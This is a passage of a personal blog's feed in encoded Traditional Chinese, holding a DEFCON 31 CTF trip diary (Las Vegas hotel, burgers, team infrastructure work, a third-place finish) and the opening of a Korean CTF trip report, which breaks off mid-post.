99;&#x6F20;&#x3001;&#x5230;&#x8655;&#x662F;&#x8C6A;&#x5B85;&#x7684;&#x6C99;&#x6F20;&#xFF0C;&#x6700;&#x5F8C;&#x5230;&#x9054;&#x8CED;&#x57CE;&#x3002;</p><h2 id="planet-hollywood">Planet HollyWood</h2><p>&#x9019;&#x6B21;&#x4F4F;&#x7684;&#x98EF;&#x5E97;&#x662F;&#x56DB;&#x661F;&#x7D1A;&#x7684; Planet HollyWood&#xFF0C;&#x64DA;&#x8AAA;&#x662F;&#x6709; HollyWood &#x5834;&#x666F;&#xFF0C;&#x6211;&#x53EA;&#x89BA;&#x5F97;&#x4ED6;&#x5011;&#x7684;&#x505C;&#x8ECA;&#x5834;&#x5F88;&#x9069;&#x5408;&#x767C;&#x751F;&#x69CD;&#x6230;&#x3001;&#x98DB;&#x8ECA;&#x8FFD;&#x9010;&#x7684;&#x6232;&#xFF0C;&#x6C92;&#x770B;&#x5230;&#x5176;&#x4ED6;&#x5834;&#x666F;&#x3002;&#x6211;&#x6709;&#x4E8B;&#x5148;&#x8CB7;&#x597D;&#x9060;&#x50B3;&#x548C; T-Mobile &#x5408;&#x4F5C;&#x7684;&#x6F2B;&#x904A;&#x670D;&#x52D9;&#xFF0C;&#x96D6;&#x7136;&#x65B9;&#x6848;&#x662F; 60 GB&#xFF0C;&#x4F46;&#x662F;&#x7DB2;&#x8DEF;&#x721B;&#x5230;&#x8F09;&#x5716;&#x90FD;&#x8981;&#x7B49;&#x500B;&#x4E09;&#x79D2;&#xFF0C;&#x5728;&#x4E00;&#x4E9B;&#x98EF;&#x5E97;&#x7684;&#x4E2D;&#x5FC3;&#x751A;&#x81F3;&#x6C92;&#x8A0A;&#x865F;&#xFF0C;&#x6839;&#x672C;&#x7528;&#x4E0D;&#x5B8C;&#xFF0C;&#x5E78;&#x597D; PH &#x7684; Wifi &#x8D85;&#x5F37;&#xFF0C;&#x53EF;&#x4EE5;&#x6490;&#x4F4F;&#x9019;&#x6B21;&#x6BD4;&#x8CFD;&#x7684;&#x6D41;&#x91CF;&#x3002; PH &#x7684;&#x53E6;&#x4E00;&#x500B;&#x512A;&#x9EDE;&#x662F;&#x4FBF;&#x5B9C;&#xFF0C;&#x5C31;&#x53EA;&#x6709;&#x9019;&#x5169;&#x500B;&#x512A;&#x9EDE;&#xFF0C;&#x6070;&#x5DE7;&#x5B8C;&#x7F8E;&#x7B26;&#x5408;&#x4E00;&#x7FA4;&#x767D;&#x5AD6;&#x8D0A;&#x52A9;&#x5546;&#x7238;&#x7238;&#x7684; CTFers &#x9700;&#x6C42;&#x3002;&#x5404;&#x500B;&#x623F;&#x9593;&#x7684;&#x6D74;&#x5BA4;&#x90FD;&#x6C92;&#x6709;&#x9396;&#xFF0C;&#x6BD4;&#x8CFD;&#x6642;&#x7D66;&#x9060;&#x7AEF;&#x53C3;&#x8CFD;&#x7528;&#x7684;&#x300C;&#x7E3D;&#x7D71;&#x5957;&#x623F;&#x300D;&#x7684;&#x9023;&#x5EC1;&#x6240;&#x90FD;&#x6C92;&#x6709;&#x9396;&#xFF0C;&#x5DE5;&#x4F5C;&#x4EBA;&#x54E1;&#x53EA;&#x597D;&#x5728;&#x5916;&#x9762;&#x639B;&#x76E4;&#x5B50;&#x8868;&#x793A;&#x88E1;&#x982D;&#x6709;&#x4EBA;&#xFF0C;&#x6211;&#x53EA;&#x60F3;&#x5F97;&#x5230;&#x4E2D;&#x570B;&#x6703;&#x767C;&#x751F;&#x9019;&#x7A2E;&#x4E8B;&#x3002;PH &#x7684;&#x8CED;&#x5834;&#x76F8;&#x5C0D;&#x7684;&#x51B7;&#x6E05;&#xFF0C;&#x6C92;&#x6709;&#x96FB;&#x5F71;&#x88E1;&#x72C2;&#x71B1;&#x7684;&#x8CED;&#x535A;&#x55A7;&#x56C2;&#x6C23;&#x606F;&#xFF0C;&#x6211;&#x96A8;&#x4FBF;&#x627E;&#x4E86;&#x4E00;&#x81FA;&#x62C9;&#x9738;&#x6A5F;&#xFF0C;&#x653E;&#x5165; 1$ &#x62C9;&#x687F;&#x537B;&#x7121;&#x6CD5;&#x62C9;&#xFF0C;&#x90FD;&#x6539;&#x6210;&#x6309;&#x6309;&#x9215;&#xFF0C;&#x6309;&#x4E0B;&#x53BB;&#x5169;&#x79D2;&#x5F8C;&#x7D50;&#x679C;&#x5C31;&#x51FA;&#x4F86;&#xFF0C;&#x6C92;&#x6709;&#x4EBA;&#x72C2;&#x543C;&#x81F4;&#x5BCC;&#x7684;&#x559C;&#x6085;&#xFF0C;&#x5C31;&#x662F;&#x4E00;&#x7FA4;&#x6709;&#x9322;&#x4EBA;&#x548C;&#x5713;&#x6EFE;&#x6EFE;&#x5750;&#x5728;&#x96FB;&#x5B50;&#x5C4F;&#x5E55;&#x524D;&#x4E0D;&#x65B7;&#x7684;&#x628A;&#x9214;&#x7968;&#x6295;&#x5165;&#x788E;&#x7D19;&#x6A5F;&#x8CB7;&#x5169;&#x79D2;&#x7684;&#x5FEB;&#x6A02;&#xFF0C;&#x7A7A;&#x865B;&#x7121;&#x6BD4;&#x3002;&#x4E0D;&#x904E;&#x5176;&#x4ED6;&#x5BB6;&#x8CED;&#x5834;&#x9084;&#x662F;&#x6709;&#x6EFF;&#x6EFF;&#x7684;&#x4EBA;&#x7B49;&#x8377;&#x5B98;&#x767C;&#x724C;&#xFF0C;&#x662F; PH &#x6C92;&#x843D;&#x4E86;&#x3002;</p><h2 id="%E9%A3%9F%E7%89%A9">&#x98DF;&#x7269;</h2><p>&#x7F8E;&#x570B;&#x7684;&#x98DF;&#x7269;&#x6BD4;&#x97D3;&#x570B;&#x597D;&#x5403;&#x591A;&#x4E86;&#xFF0C;&#x56E0;&#x70BA;&#x4ED6;&#x5011;&#x7684;&#x908F;&#x8F2F;&#x6E05;&#x6670;&#xFF0C;&#x5C31;&#x662F;&#x5927;&#x4EFD;&#x91CF;&#x3001;&#x9AD8;&#x71B1;&#x91CF;&#x3001;&#x6EFF;&#x6EFF;&#x86CB;&#x767D;&#x8CEA;&#x548C;&#x6CB9;&#x8102;&#xFF0C;&#x80FD;&#x9078;&#x64C7;&#x7684;&#x53EA;&#x6709;&#x8B8A;&#x6210;&#x5713;&#x6EFE;&#x6EFE;&#x6216;&#x662F;&#x5DE8;&#x5DE8;&#x3002;</p><p>&#x5403;&#x4E86;&#x4E09;&#x5BB6;&#x6709;&#x540D;&#x7684;&#x6F22;&#x5821;&#xFF1A;IN-N-OUT&#x3001;GORDON RAMSAY Burger&#x3001;Shake Shack&#x3002;IN-N-OUT &#x7684;&#x6574;&#x9AD4;&#x53E3;&#x5473;&#x662F;&#x6700;&#x548C;&#x8AE7;&#x7684;&#xFF0C;&#x5B8C;&#x7F8E;&#x7684;&#x628A;&#x751F;&#x83DC;&#x3001;&#x756A;&#x8304;&#x3001;&#x91AC;&#x6C41;&#x3001;&#x8D77;&#x53F8;&#x3001;&#x725B;&#x8089;&#x3001;&#x6F22;&#x5821;&#x878D;&#x70BA;&#x4E00;&#x9AD4;&#xFF0C;&#x6703;&#x6709; juicy &#x611F;&#x89BA;&#xFF0C;&#x50F9;&#x4F4D;&#x6BD4;&#x8F03;&#x4F4E;&#xFF0C;&#x6F22;&#x5821;&#x6392;&#x6BD4;&#x8F03;&#x5C0F;&#x584A;&#x3002;Gordon &#x5247;&#x662F;&#x51F8;&#x986F;&#x725B;&#x8089;&#x7684;&#x7099;&#x70E4;&#x9999;&#x6C23;&#xFF0C;&#x9664;&#x4E86;&#x8D85;&#x5927;&#x7684;&#x6F22;&#x5821;&#x6392;&#x9084;&#x6709;&#x4E00;&#x584A;&#x8D85;&#x5927;&#x7684;&#x916A;&#x68A8;&#xFF0C;&#x4E0D;&#x904E;&#x98A8;&#x5473;&#x90FD;&#x88AB;&#x6F22;&#x5821;&#x6392;&#x7368;&#x4F54;&#x3002;Shake Shack &#x6709;&#x6EFF;&#x6EA2;&#x7684;&#x6F22;&#x5821;&#x6392;&#xFF0C;&#x900F;&#x904E;&#x8D77;&#x53F8;&#x628A;&#x6240;&#x6709;&#x5473;&#x9053;&#x878D;&#x6210;&#x4E00;&#x5718;&#xFF0C;&#x6EFF;&#x6EFF;&#x7684;&#x7F8E;&#x5F0F;&#x72C2;&#x91CE;&#xFF0C;&#x4E0D;&#x5982; IN-N-OUT &#x6E05;&#x723D;&#x3002; &#x6574;&#x9AD4;&#x4F86;&#x8AAA;&#x6211;&#x559C;&#x6B61; IN-N-OUT &gt; Shake Shack &gt; GORDON RAMSAY Burger&#x3002;</p><p>&#x503C;&#x5F97;&#x4E00;&#x63D0;&#x7684;&#x7F8E;&#x98DF;&#x662F; Hash House a go go &#x7684;&#x914B;&#x9577;&#x70B8;&#x96DE;&#x9B06;&#x9905;&#x65C1;&#x7684;&#x914D;&#x83DC;&#x70E4;&#x8525;&#xFF0C;&#x4E00;&#x4EFD;&#x9910;&#x9EDE;&#x6709;&#x5169;&#x5927;&#x584A;&#x70B8;&#x96DE;&#x548C;&#x56DB;&#x500B;&#x9B06;&#x9905;&#xFF0C;&#x6211;&#x548C; splitline &#x4E0D;&#x77E5;&#x60C5;&#x5404;&#x9EDE;&#x4E00;&#x4EFD;&#xFF0C;&#x7136;&#x5F8C;&#x5E97;&#x54E1;&#x5C31;&#x4E09;&#x4E0D;&#x4E94;&#x6642;&#x4F86;&#x95DC;&#x5207;&#x6211;&#x5011;&#x9019;&#x684C;&#xFF0C;&#x6DF1;&#x6015;&#x6211;&#x5011;&#x5403;&#x5230;&#x5410;&#x3002;&#x70B8;&#x96DE;&#x53EA;&#x525B;&#x597D;&#x9054;&#x5230;&#x4E0D;&#x67F4;&#x7684;&#x6C34;&#x6E96;&#xFF0C;&#x9B06;&#x9905;&#x4E2D;&#x898F;&#x4E2D;&#x77E9;&#xFF0C;&#x5E78;&#x597D;&#x6709;&#x795E;&#x7D1A;&#x914D;&#x83DC;&#x70E4;&#x8525;&#x624D;&#x6709;&#x8FA6;&#x6CD5;&#x5403;&#x5B8C;&#xFF0C;&#x5B83;&#x9165;&#x8106;&#x537B;&#x4E0D;&#x6CB9;&#x81A9;&#x3001;&#x6E05;&#x723D;&#x53C8;&#x5BCC;&#x6709;&#x9999;&#x6C23;&#xFF0C;&#x5B8C;&#x7F8E;&#x7684;&#x89E3;&#x81A9;&#x3002;</p><p>&#x9084;&#x6709;&#x5169;&#x500B;&#x5927;&#x9910;&#x884C;&#x653F;&#x7D44;&#x8AAA;&#x4E0D;&#x8981; po &#x7DB2;:D</p><h2 id="defcon-ctf">DEFCON CTF</h2><p>&#x8EAB;&#x70BA; Web &#x4ED4;&#x6211;&#x5927;&#x591A;&#x6578;&#x6642;&#x9593;&#x90FD;&#x6295;&#x5165;&#x5728; Infra &#x4E0A;&#xFF0C;&#x548C;&#x9EC3;&#x8001;&#x5E2B;&#x3001;&#x6D77;&#x8C79;&#x3001;lys&#x3001;lisa&#x3001;bookgin &#x53BB;&#x6703;&#x5834;&#x63A5;&#x4E0A;&#x7DB2;&#x8DEF;&#x548C;&#x670D;&#x52D9;&#xFF0C;&#x8CFD;&#x5236;&#x5171;&#x4E09;&#x5929;&#xFF0C;&#x6BCF;&#x5929;&#x6BD4;&#x8CFD;&#x6642;&#x9593;&#x5927;&#x6982;&#x662F;&#x65E9;&#x4E0A;&#x5341;&#x9EDE;&#x5230;&#x4E0B;&#x5348;&#x516D;&#x9EDE;&#xFF0C;&#x6709; liveCTF&#x3001;A&amp;D&#x3001;KoH&#x3002;&#x7B2C;&#x4E00;&#x5929;&#x60C5;&#x6CC1;&#x9084;&#x4E0D;&#x932F;&#xFF0C;&#x4E3B;&#x8FA6;&#x65B9; nautilus &#x7D93;&#x6B77;&#x53BB;&#x5E74;&#x7684;&#x5927;&#x7206;&#x70B8;&#x5F8C;&#xFF0C;&#x4ECA;&#x5E74;&#x7684;&#x670D;&#x52D9;&#x90FD;&#x904B;&#x884C;&#x7A69;&#x5B9A;&#xFF0C;&#x968A;&#x53CB;&#x7A69;&#x7A69;&#x5730;&#x4F54;&#x4F4F;&#x524D;&#x4E94;&#x540D;&#x3002;</p><p>&#x7B2C;&#x4E8C;&#x5929;&#x4E00;&#x65E9;&#x4F48;&#x6A5F;&#x5668;&#x6642;&#x5FFD;&#x7136;&#x7121;&#x6CD5;&#x958B;&#x6A5F;&#xFF0C;&#x9EC3;&#x8001;&#x5E2B;&#x548C;&#x6D77;&#x8C79;&#x73FE;&#x5834;&#x62C6;&#x6A5F;&#x7DAD;&#x4FEE;&#xFF0C;&#x8D95;&#x5728;&#x958B;&#x8CFD;&#x524D;&#x6210;&#x529F;&#x628A;&#x670D;&#x52D9;&#x67B6;&#x597D;&#xFF0C;&#x8D85;&#x795E;&#x3002;</p><p>&#x56E0;&#x70BA;&#x7B2C;&#x4E00;&#x5929;&#x665A;&#x4E0A;&#x5FFD;&#x7136;&#x50B3;&#x51FA;&#x6703;&#x5834;&#x6709;&#x53EF;&#x7591;&#x7684;&#x5305;&#x88F9;&#x8981;&#x6E05;&#x5834;&#xFF0C;nautilus &#x88AB;&#x8FEB;&#x64A4;&#x96E2;&#x6A5F;&#x5668;&#xFF0C;&#x7B2C;&#x4E8C;&#x5929;&#x624D;&#x628A;&#x6A5F;&#x5668;&#x642C;&#x56DE;&#x4F86;&#xFF0C;Infra &#x5C31;&#x958B;&#x59CB;&#x7206;&#x70B8;&#x3002;&#x5148;&#x662F;&#x9650;&#x5236;&#x9023;&#x7DDA;&#x6578; 20&#xFF0C;&#x7576;&#x6642;&#x7E3D;&#x5171;&#x6709; 12 &#x968A;&#x4E09;&#x500B;&#x984C;&#x76EE;&#xFF0C;&#x65BC;&#x662F; bookgin &#x548C;&#x6211;&#x5C31;&#x5F97;&#x5728;&#x73FE;&#x5834;&#x9B54;&#x6539; attackmanager &#x4F86;&#x7B26;&#x5408;&#x4E3B;&#x8FA6;&#x65B9;&#x8981;&#x6C42;&#xFF0C;bookgin &#x627E;&#x5230;&#x4E00;&#x4E9B;&#x6210;&#x5E74;&#x8001; bug&#xFF0C;&#x9084;&#x6709;&#x9B54;&#x6539;&#x67B6;&#x69CB;&#x8B93;&#x5B83;&#x53EF;&#x4EE5;&#x9650;&#x5236;&#x6240;&#x6709;&#x984C;&#x76EE;&#x7684;&#x9023;&#x7DDA;&#x6578;&#xFF0C;&#x7136;&#x5F8C;&#x76F4;&#x63A5;&#x63A8;&#x4E0A; main &#x628A; main &#x5F04;&#x5F97;&#x4E0D;&#x8981;&#x4E0D;&#x8981;&#x7684;&#x3002;attackmanager master &#x6709;&#x4E00;&#x4E9B;&#x8A6D;&#x7570;&#x7684; feature &#x548C;&#x5947;&#x602A;&#x7684;&#x5BEB;&#x6CD5;&#xFF0C;&#x5B83;&#x8A66;&#x5716;&#x589E;&#x52A0;&#x6548;&#x80FD;&#x537B;&#x5FD8;&#x8A18;&#x74F6;&#x9838;&#x6C38;&#x9060;&#x662F;&#x4E3B;&#x8FA6;&#x65B9;&#x7684; Infra&#xFF0C;&#x660E;&#x5E74;&#x4E5F;&#x8A31;&#x53EF;&#x4EE5;&#x6539;&#x5BEB;&#x8B93;&#x5B83;&#x7B26;&#x5408; simple &amp; stupid&#x3002;</p><p>&#x7B2C;&#x4E8C;&#x5929;&#x5728;&#x7D50;&#x675F;&#x524D;&#x7D42;&#x65BC;&#x91CB;&#x51FA; web &#x984C;&#x7576;&#x56DE;&#x5BB6;&#x4F5C;&#x696D;&#xFF0C;&#x662F;&#x4E00;&#x5806; php &#x8001;&#x6897;&#x721B;&#x6D1E;&#x96C6;&#x5408;&#xFF0C;&#x6211;&#x56DE;&#x98EF;&#x5E97;&#x5F8C;&#x592A;&#x7D2F;&#x5C31;&#x5148;&#x7761;&#xFF0C;&#x7761;&#x9192;&#x5F8C;&#x5C31;&#x770B;&#x5230; web &#x5927;&#x5927;&#x5011;&#x628A; exploit &#x5168;&#x90FD;&#x5BEB;&#x5B8C;&#x4E86;&#xFF0C;&#x597D;&#x5167;&#x5377; QQ&#x3002;&#x60F3;&#x60F3;&#x6211;&#x53BB;&#x89D2;&#x843D;&#x770B;&#x770B;&#x600E;&#x9EBC;&#x7E5E; patch&#xFF0C;&#x6703;&#x9700;&#x8981;&#x65B9;&#x4FBF;&#x770B; patch &#x7684;&#x5DE5;&#x5177;&#xFF0C;&#x5C31;&#x8ACB; Leko &#x5BEB;&#x4E86;&#x4E00;&#x5957;&#x628A; patch image &#x62C9;&#x4E0B;&#x4F86;&#x5206;&#x6790; diff &#x5F8C;&#x9001;&#x901A;&#x77E5;&#x7684; bot&#xFF0C;&#x539F;&#x672C;&#x6709;&#x6253;&#x7B97;&#x628A;&#x65B0;&#x6A94;&#x6848;&#x6253;&#x5305;&#x5F8C;&#x4E0A;&#x50B3;&#x5230; discord&#xFF0C;&#x4E0D;&#x904E; web &#x984C;&#x5927;&#x591A;&#x90FD;&#x53EF;&#x4EE5;&#x76F4;&#x63A5; diff &#x770B;&#xFF0C;&#x5C31;&#x53EA;&#x6709;&#x518D;&#x4E32;&#x4E0A;&#x7C21;&#x6613; diff &#x7684;&#x529F;&#x80FD;&#xFF0C;&#x80FD;&#x5920;&#x53CA;&#x6642;&#x5F97;&#x77E5; patch &#x8CC7;&#x8A0A;&#xFF0C;&#x8D85;&#x68D2;&#x3109;&#x3002;&#x8CFD;&#x5F8C; non-web &#x4ED4;&#x958B; feature &#x60F3;&#x8981;&#x4E00;&#x9375;&#x4E0B;&#x8F09;&#xFF0C;&#x6211;&#x624D;&#x77E5;&#x9053;&#x539F;&#x4F86;&#x6709;&#x5176;&#x4ED6;&#x968A;&#x53CB;&#x5728;&#x7528;&#x6211;&#x5011;&#x7684;&#x670D;&#x52D9;&#xFF0C;&#x4E0D;&#x662F;&#x6211;&#x5011;&#x5728;&#x81EA;&#x55E8;:D</p><p>&#x7B2C;&#x4E8C;&#x5929;&#x5F8C;&#x6BB5;&#x4E00;&#x76F4;&#x4FDD;&#x6301;&#x7B2C;&#x4E8C;&#x540D;&#xFF0C;&#x5230;&#x7B2C;&#x4E09;&#x5929;&#x624D;&#x6389;&#x5230;&#x7B2C;&#x4E09;&#xFF0C;&#x6700;&#x5F8C;&#x7B2C;&#x4E09;&#x540D;&#x3002;&#x4E09;&#x7ACB;&#x3010;2023 &#x4E16;&#x754C;&#x99ED;&#x5BA2;&#x5927;&#x6703;&#xFF01;&#x53F0;&#x7063;&#x806F;&#x968A; TWN48 &#x300C;&#x64CA;&#x6557;&#x4E2D;&#x570B;&#x300D; &#x596A;&#x7B2C; 3 &#x540D;&#x4F73;&#x7E3E;&#x3011;&#xFF0C;&#x597D;&#x311B;&#x7B11;&#x6B7B;&#xFF0C;&#x6211;&#x6839;&#x672C;&#x4E0D;&#x77E5;&#x9053;&#x54EA;&#x968A;&#x662F;&#x4E2D;&#x570B;&#x4EBA;&#x3002;</p><h2 id="%E5%BE%8C%E8%A8%98">&#x5F8C;&#x8A18;</h2><p>DEFCON CTF &#x548C;&#x6211;&#x539F;&#x5148;&#x60F3;&#x7684;&#x4E0D;&#x592A;&#x4E00;&#x6A23;&#xFF0C;&#x6C92;&#x6709;&#x8766;&#x8DB4;&#x7684;&#x71C8;&#x5149;&#x548C;&#x97F3;&#x6A02;&#xFF0C;&#x7FA4;&#x773E;&#x5728;&#x81FA;&#x4E0B;&#x50CF;&#x662F;&#x770B;&#x96FB;&#x7AF6;&#x6BD4;&#x8CFD;&#x6B61;&#x547C;&#xFF0C;&#x53CD;&#x800C;&#x53EA;&#x662F;&#x4E00;&#x500B;&#x5EE3;&#x5927;&#x7684;&#x6703;&#x5834;&#x7684;&#x4E00;&#x5C0F;&#x89D2;&#x843D;&#xFF0C;&#x540C;&#x6642;&#x6709;&#x5176;&#x4ED6;&#x5404;&#x5F0F;&#x5404;&#x6A23;&#x7684;&#x6709;&#x8DA3;&#x6524;&#x4F4D;&#x548C; CTF &#x540C;&#x6642;&#x9032;&#x884C;&#xFF0C;&#x4E0D;&#x6642;&#x6703;&#x807D;&#x5230;&#x8FF7;&#x56E0;&#x6B4C;&#x6216;&#x662F;&#x4E00;&#x7FA4;&#x9ED1;&#x4EBA;&#x5531;&#x9748;&#x6B4C;&#x3001;&#x6234;&#x8457;&#x53CD;&#x96FB;&#x78C1;&#x6CE2;&#x5E3D;&#x7684;&#x4EBA;&#x3001;&#x62FF;&#x500B;&#x8A0A;&#x865F;&#x63A2;&#x6E2C;&#x5668;&#x5C0B;&#x5BF6;&#x7684;&#x4EBA;&#x3001;&#x7A7F;&#x8457;&#x7378;&#x88DD;&#x7684;&#x4EBA;&#xFF0C;&#x800C;&#x6211;&#x5011;&#x662F;&#x4E00;&#x7FA4;&#x4E0D;&#x597D;&#x597D;&#x4EAB;&#x53D7; DEFCON &#x7684; CTFers &#x602A;&#x5496;&#x62FF; 400$ &#x7684;&#x9580;&#x7968;&#x5750;&#x5728;&#x5C0F;&#x89D2;&#x843D;&#x641E;&#x81EA;&#x9589; :D&#x3002;&#x5E0C;&#x671B;&#x4EE5;&#x5F8C;&#x53EF;&#x4EE5;&#x6709;&#x6642;&#x9593;&#x53C3;&#x52A0;&#x5404;&#x5F0F; Village &#xFF0C;&#x4EAB;&#x53D7;&#x4E00;&#x5E74;&#x4E00;&#x5EA6;&#x7684;&#x99ED;&#x5BA2;&#x76DB;&#x6703;</p><p>&#x770B;&#x5B8C; <a href="https://blog.star03.me/posts/2023/08/defcon31-ctf-final/?ref=blog.cjis.ooo">Starry Skies</a> &#x597D;&#x60F3;&#x6253;&#x9776;&#x548C;&#x53BB; BlackHat&#xFF0C;&#x4E56;&#x4E56;&#x5B58;&#x9322;QQ</p><p>TODO&#xFF1A;&#x88DC;&#x5716;</p>]]></content:encoded></item><item><title><![CDATA[韓國行]]></title><description><![CDATA[<p>&#x4E09;&#x6708;&#x5E95;&#x6642;&#x6253;&#x4E86;&#x4E00;&#x5834;&#x5947;&#x602A;&#x7684;&#x97D3;&#x570B; CTF&#xFF0C;&#x8EBA;&#x4E86;&#x6574;&#x5834;&#x5F8C;&#x968A;&#x53CB;&#x51F1;&#x745E;&#x5230;&#x6C7A;&#x8CFD;&#xFF0C;&#x53D7;&#x9080;&#x5230;&#x97D3;&#x570B;&#x7DDA;&#x4E0B;&#x8CFD;&#xFF0C;&#x56E0;&#x70BA;&#x6559;&#x80B2;&#x90E8;&#x6709;&#x88DC;&#x52A9;&#x6A5F;&#x7968;&#x5C31;&#x9806;&#x4FBF;</p>]]></description><link>https://blog.cjis.ooo/han-guo-xing/</link><guid isPermaLink="false">6465ce49b5bed400018e8cb2</guid><dc:creator><![CDATA[cjiso1117]]></dc:creator><pubDate>Tue, 23 May 2023 21:23:02 GMT</pubDate><content:encoded><![CDATA[<p>&#x4E09;&#x6708;&#x5E95;&#x6642;&#x6253;&#x4E86;&#x4E00;&#x5834;&#x5947;&#x602A;&#x7684;&#x97D3;&#x570B; CTF&#xFF0C;&#x8EBA;&#x4E86;&#x6574;&#x5834;&#x5F8C;&#x968A;&#x53CB;&#x51F1;&#x745E;&#x5230;&#x6C7A;&#x8CFD;&#xFF0C;&#x53D7;&#x9080;&#x5230;&#x97D3;&#x570B;&#x7DDA;&#x4E0B;&#x8CFD;&#xFF0C;&#x56E0;&#x70BA;&#x6559;&#x80B2;&#x90E8;&#x6709;&#x88DC;&#x52A9;&#x6A5F;&#x7968;&#x5C31;&#x9806;&#x4FBF;&#x73A9;&#x4E86;&#x5E7E;&#x5929;&#x3002;</p><h2 id="%E5%88%9D%E8%B3%BD">&#x521D;&#x8CFD;</h2><p>&#x521D;&#x8CFD;&#x662F;&#x7DDA;&#x4E0A;&#x8CFD;&#xFF0C;Web &#x985E;&#x53EA;&#x6709;&#x5169;&#x984C;&#xFF0C;&#x4E00;&#x984C;&#x88AB;&#x968A;&#x53CB;&#x89E3;&#x4E86;&#xFF0C;&#x53E6;&#x4E00;&#x984C;&#x89E3;&#x4E0D;&#x51FA;&#x4F86;&#xFF0C;&#x7136;&#x5F8C;&#x5C31;&#x9760;&#x968A;&#x53CB;&#x62FF;&#x5230;&#x7B2C;&#x4E03;&#x3002;&#x5947;&#x602A;&#x7684;&#x90E8;&#x5206;&#x662F;&#x96D6;&#x7136;&#x662F;&#x570B;&#x969B;&#x4EA4;&#x6D41;&#x8CFD;&#x4F46;&#x662F;&#x4E00;&#x5806;&#x984C;&#x76EE;&#x90FD;&#x662F;&#x97D3;&#x6587;&#xFF0C;&#x5B98;&#x65B9;&#x89E3;&#x6CD5;&#x5EFA;&#x8B70;&#x7528; OCR &#x8FA8;&#x8A8D;&#xFF0C;&#x4E3B;&#x8FA6;&#x65B9;&#x4E0D;&#x592A;&#x6703;&#x7528; Discord &#x7684;&#x6A23;&#x5B50;&#xFF0C;&#x554F;&#x554F;&#x984C;&#x90FD;&#x6C92;&#x4EC0;&#x9EBC;&#x56DE;&#x61C9;&#xFF0C;&#x751A;&#x81F3;&#x5728;&#x6BD4;&#x8CFD;&#x7D50;&#x675F;&#x5F8C;&#x6574;&#x500B; server &#x6D88;&#x5931;&#x4E0D;&#x898B;&#xFF0C;&#x9023;&#x4EA4;&#x6D41;&#x984C;&#x89E3;&#x90FD;&#x4E0D;&#x884C;&#x3002;</p><h2 id="%E5%87%BA%E5%9C%8B">&#x51FA;&#x570B;</h2><p>&#x56E0;&#x70BA;&#x6A5F;&#x7968;&#x6709;&#x88DC;&#x52A9;&#x5C31;&#x6C92;&#x7279;&#x5225;&#x7814;&#x7A76;&#xFF0C;&#x6700;&#x5F8C;&#x9078;&#x5927;&#x97D3;&#x822A;&#x7A7A;&#xFF0C;&#x50F9;&#x683C;&#x548C;&#x83EF;&#x822A;&#x5DEE;&#x4E0D;&#x591A;&#xFF0C;&#x53EA;&#x662F;&#x7DB2;&#x7AD9;&#x8A2D;&#x8A08;&#x4E0D;&#x662F;&#x5F88;&#x597D;&#xFF0C;&#x8A02;&#x5B8C;&#x7968;&#x60F3;&#x6539;&#x8CC7;&#x8A0A;&#x90FD;&#x4E0D;&#x77E5;&#x9053;&#x8981;&#x600E;&#x9EBC;&#x6539;&#x3002;</p><p>&#x98DB;&#x6A5F;&#x9910;&#x662F;&#x97D3;&#x5F0F;&#x53E3;&#x5473;&#xFF0C;&#x6709;&#x9644;&#x4E00;&#x689D;&#x7259;&#x818F;&#x72C0;&#x7684;&#x8FA3;&#x91AC;&#xFF0C;&#x5690;&#x4E86;&#x5473;&#x9053;&#x4E0D;&#x932F;&#x3002;&#x9694;&#x58C1;&#x5750;&#x4E86;&#x97D3;&#x570B;&#x5C0F;&#x59D0;&#x59D0;&#xFF0C;&#x7A7F;&#x8457;&#x62D6;&#x978B;&#x6296;&#x4F86;&#x6296;&#x53BB;&#xFF0C;&#x9084;&#x6389;&#x5230;&#x6211;&#x9019;&#x908A;&#xFF0C;&#x65BC;&#x662F;&#x6211;&#x628A;&#x9910;&#x5305;&#x3001;&#x6C34;&#x679C;&#x6240;&#x6709;&#x98DF;&#x7269;&#x90FD;&#x62FF;&#x4F86;&#x642D;&#x914D;&#x8FA3;&#x91AC;&#xFF0C;&#x8B93;&#x5979;&#x611F;&#x53D7;&#x9CF3;&#x68A8;&#x62AB;&#x85A9;&#x4F3C;&#x7684;&#x5192;&#x72AF;&#x3002;&#x9910;&#x5305;&#x642D;&#x8FA3;&#x91AC;&#x6BD4;&#x5976;&#x6CB9;&#x597D;&#x5403;&#x5F88;&#x591A;&#x3002;</p><h2 id="%E4%B8%96%E5%AE%97%E5%B8%82">&#x4E16;&#x5B97;&#x5E02;</h2><p>&#x4E0B;&#x98DB;&#x6A5F;&#x5F8C;&#x627E;&#x5230;&#x5DE5;&#x4EBA;&#x5C0F;&#x59D0;&#x59D0;&#xFF0C;&#x5DE5;&#x4EBA;&#x5C0F;&#x59D0;&#x59D0;&#x554F;&#x4E86;&#x6211;&#x5011;&#x6709;&#x6C92;&#x6709;&#x63A1;&#x8CB7;&#x8DB3;&#x5920;&#x7684;&#x98DF;&#x7269;&#xFF0C;&#x6211;&#x770B;&#x5979;&#x624B;&#x63D0;&#x4E00;&#x5927;&#x888B;&#x96F6;&#x98DF;&#xFF0C;&#x5C31;&#x554F;&#x4E86; Is that for us? no. </p><p>&#x8ECA;&#x4E0A;&#x5DE5;&#x4EBA;&#x5C0F;&#x59D0;&#x59D0;&#x9084;&#x662F;&#x5206;&#x7D66;&#x6211;&#x5011;&#x96F6;&#x98DF;&#xFF0C;&#x554F;&#x4E86;&#x5C31;&#x6709;&#x3002;</p><p>&#x5F9E;&#x6A5F;&#x5834;&#x642D;&#x4E86;&#x5169;&#x5C0F;&#x6642;&#x7684;&#x63A5;&#x99C1;&#x8ECA;&#x5230;&#x4E16;&#x5B97;&#x5E02;&#xFF0C;&#x4E16;&#x5B97;&#x5E02;&#x539F;&#x672C;&#x662F;&#x8981;&#x6210;&#x70BA;&#x7B2C;&#x4E8C;&#x500B;&#x9996;&#x90FD;&#xFF0C;&#x73FE;&#x5728;&#x4E00;&#x81C9;&#x990A;&#x6210;&#x5931;&#x6557;&#x7684;&#x9109;&#x4E0B;&#xFF0C;&#x4E0D;&#x904E;&#x6709;&#x5F88;&#x591A;&#x9AD8;&#x5927;&#x7684;&#x5EFA;&#x7BC9;&#xFF0C;&#x6709;&#x4E9B;&#x5EFA;&#x7BC9;&#x9023;&#x7DBF;&#x6578;&#x500B;&#x8857;&#x5340;&#x9577;&#x5EA6;&#x3002;&#x8352;&#x6DBC;&#x548C;&#x90FD;&#x5E02;&#x878D;&#x5408;&#x7684;&#x6C92;&#x843D;&#x6587;&#x660E;&#x3002;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img 